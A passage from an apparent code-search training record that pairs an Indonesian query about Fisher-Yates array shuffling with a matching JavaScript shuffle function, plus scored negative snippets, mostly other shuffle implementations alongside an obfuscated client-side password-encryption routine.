= $('#ctl00_ucRight1_txtMatKhau')[_0xa5e2[0]]();\n var _0xd2e2x3 = document[_0xa5e2[1]]('ctl00_ucRight1_txtMatKhau'); // Lấy đối tượng input passowrd\n var _0xd2e2x4 = $('#ctl00_ucRight1_txtMaSV')[_0xa5e2[0]](); // Lấy ra giá trị mã sinh viên để tạo salt\n try {\n var _0xd2e2x5 = CryptoJS[_0xa5e2[5]][_0xa5e2[4]][_0xa5e2[3]](_0xa5e2[2]);\n var _0xd2e2x6 = CryptoJS[_0xa5e2[5]][_0xa5e2[6]][_0xa5e2[3]](GetPrivateKey(_0xd2e2x4)); /// Lấy chuổi salt\n var _0xd2e2x7 = CryptoJS[_0xa5e2[5]][_0xa5e2[6]][_0xa5e2[3]](_0xa5e2[7]);\n var _0xd2e2x8 = CryptoJS.PBKDF2(_0xd2e2x6.toString(CryptoJS[_0xa5e2[5]].Utf8), _0xd2e2x7, {\n keySize: 128 / 32,\n iterations: 1000\n });\n var _0xd2e2x9 = CryptoJS[_0xa5e2[13]][_0xa5e2[12]](_0xd2e2x2, _0xd2e2x8, {\n mode: CryptoJS[_0xa5e2[9]][_0xa5e2[8]],\n iv: _0xd2e2x5,\n padding: CryptoJS[_0xa5e2[11]][_0xa5e2[10]]\n });\n _0xd2e2x3[_0xa5e2[14]] = _0xd2e2x9[_0xa5e2[15]].toString(CryptoJS[_0xa5e2[5]].Base64); // Lấy ra Passowrd đã dược hash\n } catch (err) {\n return _0xa5e2[16]; // trả về \"\"\n };\n}", "function tobits(data) {\n\tlet bits = '';\n\n\tfor (let i = 0; i < data.length; i++) {\n\t\tlet c = data.charCodeAt(i);\n\n\t\tbits += bit1;\n\t\tbits += (c & 128) ? bit1 : bit0;\n\t\tbits += (c & 64) ? bit1 : bit0;\n\t\tbits += (c & 32) ? bit1 : bit0;\n\t\tbits += (c & 16) ? bit1 : bit0;\n\t\tbits += (c & 8) ? bit1 : bit0;\n\t\tbits += (c & 4) ? bit1 : bit0;\n\t\tbits += (c & 2) ? bit1 : bit0;\n\t\tbits += (c & 1) ? bit1 : bit0;\n\t\tbits += bit0;\n\t}\n\treturn bits\n}", "function xt(e,t){for(var n=e.toByteArray(),r=0;r<n.length&&0==n[r];)++r;if(n.length-r!=t-1||2!=n[r])return null;for(++r;0!=n[r];)if(++r>=n.length)return null;for(var a=\"\";++r<n.length;){var i=255&n[r];i<128?a+=String.fromCharCode(i):i>191&&i<224?(a+=String.fromCharCode((31&i)<<6|63&n[r+1]),++r):(a+=String.fromCharCode((15&i)<<12|(63&n[r+1])<<6|63&n[r+2]),r+=2)}return a}", "function h$toHsStringMU8(arr) {\n\n var accept = false, b, n = 0, cp = 0, r = h$ghczmprimZCGHCziTypesziZMZN, i = arr.length - 1;\n while(i >= 0) {\n b = arr[i];\n if(!(b & 128)) {\n cp = b;\n accept = true;\n } else if((b & 192) === 128) {\n cp += (b & 32) * Math.pow(64, n)\n } else {\n cp += (b&((1<<(6-n))-1)) * Math.pow(64, n);\n accept = true;\n }\n if(accept) {\n\n\n\n r = h$c2(h$ghczmprimZCGHCziTypesziZC_con_e, cp, r);\n\n cp = 0\n n = 0;\n } else {\n n++;\n }\n accept = false;\n i--;\n }\n return r;\n}", "function baseConvert(src, fromBase, toBase, srcSymbolTable, destSymbolTable)\r\n\t{\r\n\t\t// From: convert.js: http://rot47.net/_js/convert.js\r\n\t\t//\thttp://rot47.net\r\n\t\t//\thttp://helloacm.com\r\n\t\t//\thttp://codingforspeed.com \r\n\t\t//\tDr Zhihua Lai\r\n\t\t//\r\n\t\t// Modified by MLM to work with BigInteger: https://github.com/peterolson/BigInteger.js\r\n\t\t// This is able to convert extremely large numbers; At any base equal to or less than the symbol table length\r\n\r\n\t\t// Default the symbol table to a nice default table that supports up to base 185\r\n\t\tsrcSymbolTable = srcSymbolTable ? srcSymbolTable : baseSymbols2;\r\n\t\t// Default the desttable equal to the srctable if it isn't defined\r\n\t\tdestSymbolTable = destSymbolTable ? destSymbolTable : srcSymbolTable;\r\n\t\t\r\n\t\t// Make sure we are not trying to convert out of the symbol table range\r\n\t\tif(fromBase > srcSymbolTable.length || toBase > destSymbolTable.length)\r\n\t\t{\r\n\t\t\tconsole.warn(\"Can't convert\", src, \"to base\", toBase, \"greater than symbol table length. src-table:\", srcSymbolTable.length, \"dest-table:\", destSymbolTable.length);\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\t// First convert to base 10\r\n\t\tvar val = bigInt(0);\r\n\t\tfor (var i = 0; i < src.length; i ++)\r\n\t\t{\r\n\t\t\tval = val.multiply(fromBase).add(srcSymbolTable.indexOf(src.charAt(i)));\r\n\t\t}\r\n\t\tif (val.lesser(0))\r\n\t\t{\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\t\r\n\t\t// Then covert to any base\r\n\t\tvar r = val.mod(toBase);\r\n\t\tvar res = destSymbolTable.charAt(r);\r\n\t\tvar q = val.divide(toBase);\r\n\t\twhile(!q.equals(0))\r\n\t\t{\r\n\t\t\tr = q.mod(toBase);\r\n\t\t\tq = q.divide(toBase);\r\n\t\t\tres = destSymbolTable.charAt(r) + res;\r\n\t\t}\r\n\t\t\r\n\t\treturn res;\r\n\t}", "correctIndex(bytes, set) {\n if (set === '0') {\n let charCode = bytes.shift();\n return charCode < 32 ? charCode + 64 : charCode - 32;\n }\n else if (set === '1') {\n return bytes.shift() - 32;\n }\n else {\n return (bytes.shift() - 48) * 10 + bytes.shift() - 48;\n }\n }", "function Convert6432To6464(context) {\n\t// Convert old format to new format\n\tCopy(context, 4, 16, 4, 4, 20, 48, true);\t// Top Leg\n\tCopy(context, 8, 16, 4, 4, 24, 48, true);\t// Bottom Leg\n\tCopy(context, 0, 20, 4, 12, 24, 52, true);\t// Outer Leg\n\tCopy(context, 4, 20, 4, 12, 20, 52, true);\t// Front Leg\n\tCopy(context, 8, 20, 4, 12, 16, 52, true);\t// Inner Leg\n\tCopy(context, 12, 20, 4, 12, 28, 52, true);\t// Back Leg\n\t\n\tCopy(context, 44, 16, 4, 4, 36, 48, true);\t// Top Arm\n\tCopy(context, 48, 16, 4, 4, 40, 48, true);\t// Bottom Arm\n\tCopy(context, 40, 20, 4, 12, 40, 52, true);\t// Outer Arm\n\tCopy(context, 44, 20, 4, 12, 36, 52, true);\t// Front Arm\n\tCopy(context, 48, 20, 4, 12, 32, 52, true);\t// Inner Arm\n\tCopy(context, 52, 20, 4, 12, 44, 52, true);\t// Back Arm\n}" ]
[ "0.5390106", "0.52737683", "0.51450026", "0.51438564", "0.49521974", "0.48273018", "0.4825239", "0.48172987", "0.4809681", "0.47917023", "0.4786293", "0.4786293", "0.4786293", "0.4786293", "0.4740075", "0.47378606", "0.472963", "0.4714125", "0.47139686", "0.47076985", "0.46989772", "0.4697475", "0.46910632", "0.46910632", "0.46910632", "0.46910632", "0.46905595", "0.46905595", "0.4649554", "0.4649554", "0.46427906", "0.46396312", "0.46232495", "0.46224853", "0.4622042", "0.46218684", "0.4619658", "0.46110642", "0.46109623", "0.46096274", "0.45935643", "0.45927104", "0.45903876", "0.45808807", "0.45791066", "0.45724395", "0.45691556", "0.45667282", "0.4562282", "0.4560263", "0.45597544", "0.45548865", "0.4554445", "0.45508125", "0.45503998", "0.45493516", "0.45467576", "0.45436516", "0.45436516", "0.4522895", "0.4512327", "0.45120344", "0.4503026", "0.4493581", "0.44890103", "0.4488129", "0.44751543", "0.4472108", "0.44689772", "0.4467828", "0.4466724", "0.4463914", "0.44627002", "0.44612888", "0.44612888", "0.44612888", "0.44612888", "0.44588414", "0.4456461", "0.44477686", "0.44452798", "0.44452798", "0.44424167", "0.4440805", "0.44373783", "0.44369692", "0.4426286", "0.4422038", "0.44209954", "0.44199", "0.4415778", "0.4415778", "0.4414282", "0.4411252", "0.4405092", "0.44032544", "0.43963787", "0.439218", "0.43909734", "0.43907335", "0.4381752" ]
0.0
-1
shuffle() : Acak daftar array dengan metode FisherYates Source :
function shuffle(array) { var currentIndex = array.length, temporaryValue, randomIndex; // While there remain elements to shuffle... while (0 !== currentIndex) { // Pick a remaining element... randomIndex = Math.floor(Math.random() * currentIndex); currentIndex -= 1; // And swap it with the current element. temporaryValue = array[currentIndex]; array[currentIndex] = array[randomIndex]; array[randomIndex] = temporaryValue; } return array; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "shuffle() {\n // TODO\n }", "function shuffle(array){\n\t\t\t\t\t\t\t\t \tvar currentIndex = array.length;\n\t\t\t\t\t\t\t\t \tvar temporaryValue;\n\t\t\t\t\t\t\t\t \t//var randIndex;\n\n\t\t\t\t\t\t\t\t \twhile (currentIndex > 0){\n\t\t\t\t\t\t\t\t \t\trandomIndex = Math.floor(Math.random() * currentIndex);\n\t\t\t\t\t\t\t\t \t\tcurrentIndex --;\n\n\t\t\t\t\t\t\t\t \t\ttemporaryValue = array[currentIndex];\n\t\t\t\t\t\t\t\t \t\tarray[currentIndex] = array[randomIndex];\n\t\t\t\t\t\t\t\t \t\tarray[randomIndex] = temporaryValue;\n\t\t\t\t\t\t\t\t \t}\n\t\t\t\t\t\t\t\t \t\treturn array;\n}", "function shuffle(a) {\n let x;\n let y;\n for (let i = a.length - 1; i > 0; i--) {\n x = Math.floor(Math.random() * (i + 1));\n y = a[i];\n a[i] = a[x];\n a[x] = y;\n }\n shuffleDeck = a;\n}", "function shuffle(a){for(var c,d,b=a.length;b;)d=Math.floor(Math.random()*b--),c=a[b],a[b]=a[d],a[d]=c;return a}", "function shuffle(arr){\n\t\t\t\t\t\t for(var j, x, i = arr.length; i; j = parseInt(Math.random() * i), x = arr[--i], arr[i] = arr[j], arr[j] = x);\n\t\t\t\t\t\t return arr;\n\t\t\t\t\t\t}", "function shuffle(a) {\n\t\t\t\tvar j, x, i;\n\t\t\t\tfor (i = a.length; i; i -= 1) {\n\t\t\t\t\tj = Math.floor(Math.random() * i);\n\t\t\t\t\tx = a[i - 1];\n\t\t\t\t\ta[i - 1] = a[j];\n\t\t\t\t\ta[j] = x;\n\t\t\t\t}\n\t\t\t}", "shuffle()\n\t{\n\t\tlet temp;\n\t\tlet arraySpot;\n\t\tlet arraySpot2;\n\t\tfor (let x = 0; x < 1000000; x++)\n\t\t{\n\t\t\tarraySpot = Math.floor(Math.random() * this.numCards);\n\t\t\tarraySpot2 = Math.floor(Math.random() * this.numCards);\n\n\t\t\ttemp = this.cards[arraySpot];\n\t\t\tthis.cards[arraySpot] = this.cards[arraySpot2];\n\t\t\tthis.cards[arraySpot2] = temp;\n\t\t}\n\t}", "shuffle(a, rng) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(rng() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n }", "function shuffle(a){\n var j, x, i;\n for (let i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n }", "shuffle(a) {\r\n let j, x, i\r\n for (i = a.length - 1; i > 0; i--) {\r\n j = Math.floor(Math.random() * (i + 1))\r\n x = a[i]\r\n a[i] = a[j]\r\n a[j] = x\r\n }\r\n\r\n return a\r\n }", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n \n }\n }", "function fisherYates(a) {\n\tfor (var i = a.length - 1; i > 0; i--) {\n\t\t\tvar j = Math.floor(Math.random() * (i + 1));\n\t\t\tvar temp = a[i];\n\t\t\ta[i] = a[j];\n\t\t\ta[j] = temp;\n\t}\n\treturn a;\n}", "function shuffleQueston() {\n DATA_SOURCE.sort(_=>Math.random() - 0.5);\n for (let i = 0; i < DATA_SOURCE.length; i++) {\n DATA_SOURCE[i].ans.sort(_=> Math.random() - 0.5);\n }\n}", "function shuffle(a) {\r\n //note this is the fisher yates shuffle algorithm.\r\n for (let i = a.length - 1; i > 0; i--) {\r\n const j = Math.floor(Math.random() * (i + 1));\r\n [a[i], a[j]] = [a[j], a[i]];\r\n }\r\n return a;\r\n}", "function shuffle(_array) {\n // geht über das _array über und wechselt den Eintrag an Position i mit einem anderen zufälligen Eintrag im array\n for (let i = 0; i < _array.length; i++) {\n // der Eintrag an Position i wird zwischen gespeichert\n let tmp = _array[i];\n // randomIndex = random Position im _array, wird mit dem Wert an der Stelle i vertauscht ||Beispiel: Math.random() = 0,99; _array.length = 8 --> 0,99 * 8 = 7,92 --> Math.floor() (abrunden) --> 7 \n let randomIndex = Math.floor(Math.random() * _array.length);\n // Beispiel || warum wird das gemacht? Um die urls zu mischen\n // tmp bleibt immer 4\n // _array[i]: 4, _array[randomIndex]: 9\n // = _array[i]: 9, _array[randomIndex]: 9\n // _array[randomIndex]: 4, _array[i]: 9\n _array[i] = _array[randomIndex];\n _array[randomIndex] = tmp;\n }\n }", "static shuffle(deck){\n\t var randomIndex;\n\t var temp;\n\t for(var i = 0; i < deck.length; i++){\n\t //pick a random index from 0 to deck.length - 1\n\t randomIndex = Math.floor(Math.random() * deck.length);\n\n\t temp = deck[i];\n\t deck[i] = deck[randomIndex];\n\t deck[randomIndex] = temp;\n\n\t }\n\t }", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n }", "shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n }", "static shuffle(array) {\n var currentIndex = array.length, temporaryValue, randomIndex;\n while (currentIndex !== 0) {\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n return array;\n }", "function shuffleDeck(array) {\r\n for (var i = array.length - 1; i>0; i--) {\r\n var j = Math.floor(Math.random() * (i+1));\r\n var temp = array[i];\r\n array[i] = array[j];\r\n array[j] = temp;\r\n }\r\n return array;\r\n }", "function shuffle (array) {\r\n var i = 0\r\n , j = 0\r\n , temp = null\r\n\r\n for (i = array.length - 1; i > 0; i -= 1) {\r\n j = Math.floor(Math.random() * (i + 1))\r\n temp = array[i]\r\n array[i] = array[j]\r\n array[j] = temp\r\n }\r\n }", "function fisherYates( array ){\n var count = array.length,\n randomnumber,\n temp;\n let lastTime = performance.now();\n while( count ){\n randomnumber = Math.random() * count-- | 0;\n temp = array[count];\n array[count] = array[randomnumber];\n array[randomnumber] = temp\n if (count % 10000 === 0) {\n const currentTime = performance.now();\n const time = currentTime - lastTime;\n lastTime = currentTime;\n parentPort.postMessage({ completed: false, words: array.length - count, tpw: time / 10000 });\n }\n }\n}", "function fisherYatesShuffle(arr) {\n for (var i = arr.length - 1; i > 0; i--) {\n var j = Math.floor(Math.random() * (i + 1));\n [arr[i], arr[j]] = [arr[j], arr[i]]; \n }\n}", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n }", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n }", "function shuffle(sourceArray) {\n for (let i = 0; i < sourceArray.length - 1; i++) {\n let j = i + Math.floor(Math.random() * (sourceArray.length - i));\n let temp = sourceArray[j];\n sourceArray[j] = sourceArray[i];\n sourceArray[i] = temp;\n }\n return sourceArray;\n}", "shuffleCards(a) {\n for(let i=a.length-1;i>0;i--){\n const j = Math.floor(Math.random() * (i + 1));\n [a[i], a[j]] = [a[j], a[i]];\n }\n }", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n }", "function shuffle(array) {\n//randomizes the order of the figures in the array\n let currentIndex = array.length, randomIndex;\n while (0 !== currentIndex) {\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex--;\n [array[currentIndex], array[randomIndex]] = [\n array[randomIndex], array[currentIndex]];\n }\n return array;\n}", "function fisherYates (myArray) {\n var i = myArray.length;\n if ( i == 0 ) return false;\n while ( --i ) {\n var j = Math.floor( Math.random() * ( i + 1 ) );\n var tempi = myArray[i];\n var tempj = myArray[j];\n cards[i] = tempj;\n cards[j] = tempi;\n }\n}", "function shuffle(array) {\n var m = array.length, t, i;\n while (m) {\n i = Math.floor(Math.random() * m--);\n t = array[m];\n array[m] = array[i];\n array[i] = t;\n }\n return array;\n}", "shuffle(a) {\n let j, x, i;\n for (let i = a.length; i; i--) {\n let j = Math.floor(Math.random() * i);\n [a[i - 1], a[j]] = [a[j], a[i - 1]];\n }\n return a;\n }", "function shuffle(array) {\n var m = array.length,\n t,\n i;\n while (m) {\n i = Math.floor(Math.random() * m--);\n t = array[m];\n array[m] = array[i];\n array[i] = t;\n }\n return array;\n}", "shuffle() {\n const cardDeck = this.cardDeck;\n let cdl = cardDeck.length;\n let i; // Loop through the deck, using Math.random() swap the two items locations in the array\n\n while (cdl) {\n i = Math.floor(Math.random() * cdl--);\n var _ref = [cardDeck[i], cardDeck[cdl]];\n cardDeck[cdl] = _ref[0];\n cardDeck[i] = _ref[1];\n }\n\n return this;\n }", "shuffle() {\n for (var i = this._deck.length - 1; i > 0; i--) {\n var j = Math.floor(Math.random() * (i + 1));\n var temp = this._deck[i];\n this._deck[i] = this._deck[j];\n this._deck [j] = temp;\n }\n }", "function shuffle(array) {\n var currentIndex = array.length,\n temporaryValue, randomIndex;\n\n while (currentIndex !== 0) {\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n return array;\n}", "function shuffle( arr )\n{\n var pos, tmp;\n\t\n for( var i = 0; i < arr.length; i++ )\n {\n pos = Math.round( Math.random() * ( arr.length - 1 ) );\n tmp = arr[pos];\n arr[pos] = arr[i];\n arr[i] = tmp;\n }\n return arr;\n}", "function shuffle(array) {\n for (var i = array.length - 1; i > 0; i--) {\n var j = Math.floor(Math.random() * i);\n var temp = array[i];\n array[i] = array[j];\n array[j] = temp;\n }\n return array;\n }", "function shuffle(array) {\n for(var counter=array.length-1; counter > 0; counter--) {\n var index = Math.floor(Math.random() * counter);\n var temp = array[counter];\n array[counter] = array[index];\n array[index] = temp;\n }\n return array;\n }", "function shuffle(array) {\n\t\tvar random = array.length,\n\t\t\ttemp,\n\t\t\tindexs;\n\t\twhile (random) {\n\t\t\tindex = Math.floor(Math.random() * random--);\n\t\t\ttemp = array[random];\n\t\t\tarray[random] = array[index];\n\t\t\tarray[index] = temp;\n\t\t}\n\t\treturn array;\n\t}", "function fisherYates ( myArray ) {\r var i = myArray.length;\r if ( i == 0 ) return false;\r while ( --i ) {\r var j = Math.floor( Math.random() * ( i + 1 ) );\r var tempi = myArray[i];\r var tempj = myArray[j];\r myArray[i] = tempj;\r myArray[j] = tempi;\r }\r}", "function shuffle(array){\n\tvar currentIndex = array.length;\n\tvar temporaryValue;\n\t//var randIndex;\n\n\twhile (currentIndex > 0){\n\t\trandomIndex = Math.floor(Math.random() * currentIndex);\n\t\tcurrentIndex --;\n\n\t\ttemporaryValue = array[currentIndex];\n\t\tarray[currentIndex] = array[randomIndex];\n\t\tarray[randomIndex] = temporaryValue;\n\t}\n\t\treturn array;\n}", "function shuffle(array){\n\tvar currentIndex = array.length;\n\tvar temporaryValue;\n\t//var randIndex;\n\n\twhile (currentIndex > 0){\n\t\trandomIndex = Math.floor(Math.random() * currentIndex);\n\t\tcurrentIndex --;\n\n\t\ttemporaryValue = array[currentIndex];\n\t\tarray[currentIndex] = array[randomIndex];\n\t\tarray[randomIndex] = temporaryValue;\n\t}\n\t\treturn array;\n}", "function shuffle(array){\n\tvar currentIndex = array.length;\n\tvar temporaryValue;\n\t//var randIndex;\n\n\twhile (currentIndex > 0){\n\t\trandomIndex = Math.floor(Math.random() * currentIndex);\n\t\tcurrentIndex --;\n\n\t\ttemporaryValue = array[currentIndex];\n\t\tarray[currentIndex] = array[randomIndex];\n\t\tarray[randomIndex] = temporaryValue;\n\t}\n\t\treturn array;\n}", "function shuffle (a) { \n\tvar o = [];\n\n\tfor (var i=0; i < a.length; i++) {\n\t\to[i] = a[i];\n\t}\n\n\tfor (var j, x, i = o.length;\n\t i;\n\t j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);\t\n\treturn o;\n}", "function shuffleArray(deck) {\r\n for (var i = array.length - 1; i > 0; i--) {\r\n var j = Math.floor(Math.random() * (i + 1));\r\n var temp = deck[i];\r\n array[i] = deck[j];\r\n array[j] = temp;\r\n }\r\n}", "function shuffleArray(array) {\n //used in generteHand() to shuffle the deck before drawing the hand\n for (var i = array.length - 1; i > 0; i--) {\n var j = Math.floor(Math.random() * (i + 1));\n var temp = array[i];\n array[i] = array[j];\n array[j] = temp;\n }\n}", "function slv_shuffle(a) {\n for (var i = a.length - 1; i >= 1; i--) {\n var j = Math.floor(Math.random() * (i + 1));\n if (j < i) {\n var tmp = a[j];\n a[j] = a[i];\n a[i] = tmp;\n }\n }\n }", "function shuffleDeck(array) {\n\n var i, j, temp;\n for (i = array.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n temp = array[i];\n array[i] = array[j];\n array[j] = temp;\n }\n return array;\n}", "function shuffle(array) {\n var currentIndex = array.length;\n // While there remain elements to shuffle...\n while (0 !== currentIndex) {\n // Pick a remaining element...\n var randomIndex = Math.floor(Math.random() * currentIndex); // 0 <= randomIndex < 52\n currentIndex -= 1;\n // And swap it with the current element.\n // Switch last element and random element\n var temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n return array;\n } // shuffle ends", "function shuffle(array){\n var currentIndex = array.length;\n\tvar temporaryValue, randomIndex;\n\n\t// Boucle pour chaque elements de la liste\n\twhile (currentIndex !== 0) {\n\t\t// Prend un element au hazard\n\t\trandomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n\n\t\t// And swap it with the current element.\n temporaryValue = array[currentIndex];\n\t\tarray[currentIndex] = array[randomIndex];\n\t\tarray[randomIndex] = temporaryValue;\n\t}\n\n\treturn array;\n}", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n}", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n}", "function shuffle(array) {\n var m = array.length, t, i;\n while (m) {\n i = Math.floor(Math.random() * m--);\n t = array[m];\n array[m] = array[i];\n array[i] = t;\n }\n return array;\n}", "function shuffle(arr){\n \tvar current_idx = arr.length;\n \twhile(0 !== current_idx){\n\t\tvar random_idx = Math.floor(Math.random() * current_idx);\n \tcurrent_idx -= 1;\n\t\tvar temp = arr[current_idx];\n \tarr[current_idx] = arr[random_idx];\n arr[random_idx] = temp;\n\t}\n\treturn arr;\n}", "function shuffle(array) {\n\t\n var cardsArrayLength = array.length, cardHolder, index;\n\n while (cardsArrayLength) {\n\n index = Math.floor(Math.random() * cardsArrayLength--);\n\n cardHolder = array[cardsArrayLength];\n array[cardsArrayLength] = array[index];\n array[index] = cardHolder;\n }\n\n return array;\n\n}", "function shuffleMe(array) {\n\n\t\tvar currentIndex = array.length,\n\t\t\ttemporaryValue, randomIndex;\n\n\t\twhile (0 !== currentIndex) {\n\n\t\t\trandomIndex = Math.floor(Math.random() * currentIndex);\n\t\t\tcurrentIndex -= 1;\n\n\t\t\ttemporaryValue = array[currentIndex];\n\t\t\tarray[currentIndex] = array[randomIndex];\n\t\t\tarray[randomIndex] = temporaryValue;\n\t\t}\n\n\t\treturn array;\n\t}", "shuffle(a) {\n for (let i = a.length - 1; i > 0; i--) {\n const j = Math.floor(Math.random() * (i + 1));\n [a[i], a[j]] = [a[j], a[i]];\n }\n return a;\n }", "function shuffleArray(array) {\n\t\t/*******************************************\n\t\t * Randomize array element order in-place. *\n\t\t * Using Durstenfeld shuffle algorithm. *\n\t\t *******************************************/\n\t\tfor (var i = array.length - 1; i > 0; i--) {\n\t\t\tvar j = Math.floor(Math.random() * (i + 1));\n\t\t\tvar temp = array[i];\n\t\t\tarray[i] = array[j];\n\t\t\tarray[j] = temp;\n\t\t}\n\t}", "function shuffle(array) {\n\n\tlet currIndex = array.length;\n\tlet tempVal, randomIndex;\n\n\twhile (currIndex !== 0) {\n\n\t\trandomIndex = Math.floor(Math.random() * currIndex);\n\t\tcurrIndex -= 1;\n\n\t\ttempVal = array[currIndex];\n\t\tarray[currIndex] = array[randomIndex];\n\t\tarray[randomIndex] = tempVal;\n\t}\n\n\treturn array;\n}", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n}", "function knuth_shuffle(array) {\t// https://github.com/coolaj86/knuth-shuffle\n\tvar currentIndex = array.length, temporaryValue, randomIndex;\n\t// While there rem\tain elements to shuffle...\n\twhile (0 !== currentIndex) {\n\t\t// Pick a remaining element...\n\t\trandomIndex = Math.floor(Math.random() * currentIndex);\n\t\tcurrentIndex -= 1;\n\t\t// And swap it with the current element.\n\t\ttemporaryValue = array[currentIndex];\n\t\tarray[currentIndex] = array[randomIndex];\n\t\tarray[randomIndex] = temporaryValue;\n\t}\n\treturn array;\n}", "function shuffle (array) {\n \n var currentIndex = array.length;\n var temporaryValue;\n var randomIndex;\n \n while (0 !== currentIndex) {\n \n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n \n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n \n }\n \n return array;\n \n}", "function shuffleElements (arr) {\n\n\tfor (var i = 0; i <64; i++) {\n\t\tvar a = Math.floor(Math.random()*arr.length);\n\t\tvar b = Math.floor(Math.random()*arr.length);\n\t\tvar temp = arr[a];\n\t\tarr[a] = arr[b];\n\t\tarr[b] = temp;\n\t}\n\n\treturn arr;\n}", "fisherYatesShuffle(list) {\n const array = list;\n let currentIndex = array.length;\n let temporaryValue;\n let randomIndex;\n\n // While there remain elements to shuffle...\n while (currentIndex !== 0) {\n // Pick a remaining element...\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n\n // And swap it with the current element.\n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n\n return array;\n }", "shuffle(array) {\n var currentIndex = array.length, temporaryValue, randomIndex;\n\n while (currentIndex !== 0) {\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n return array;\n }", "function shuffle(a) {\n\tfor (let i = a.length; i; i--) {\n\t\tlet j = Math.floor(Math.random() * i);\n\t\t[a[i - 1], a[j]] = [a[j], a[i - 1]];\n\t}\n}", "function shuffle(a) {\n\tfor (let i = a.length; i; i--) {\n\t\tlet j = Math.floor(Math.random() * i);\n\t\t[a[i - 1], a[j]] = [a[j], a[i - 1]];\n\t}\n}", "function shuffle(a) {\n\tfor (let i = a.length; i; i--) {\n\t\tlet j = Math.floor(Math.random() * i);\n\t\t[a[i - 1], a[j]] = [a[j], a[i - 1]];\n\t}\n}", "static shuffleDeck(array) {\n var currentIndex = array.length,\n temporaryValue,\n randomIndex;\n\n // While there remain elements to shuffle...\n while (0 !== currentIndex) {\n // Pick a remaining element...\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n\n // And swap it with the current element.\n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n\n return array;\n }", "function shuffle(array) {\n var currentIndex = array.length, temporaryValue, randomIndex;\n\n while (currentIndex !== 0) {\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n console.log(\"shuffled\");\n return array;\n }", "shuffleArray(array){\n var count = array.length,\n randomnumber,\n temp;\n while( count ){\n randomnumber = Math.random() * count-- | 0;\n temp = array[count];\n array[count] = array[randomnumber];\n array[randomnumber] = temp;\n }\n return array;\n }", "function shuffle(array) {\n for (var i = array.length - 1; i > 0; i--) {\n var j = Math.floor(Math.random() * (i + 1));\n var temp = array[i];\n array[i] = array[j];\n array[j] = temp;\n }\n return array;\n }", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n}", "fisherYatesShuffle(guesses) {\n for (let i = guesses.length - 1; i > 0; i--) {\n const j = Math.floor(Math.random() * i)\n const temp = guesses[i]\n guesses[i] = guesses[j]\n guesses[j] = temp\n }\n return guesses\n }", "function shuffle(array) {\n var j, x, i;\n for (i = array.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = array[i];\n 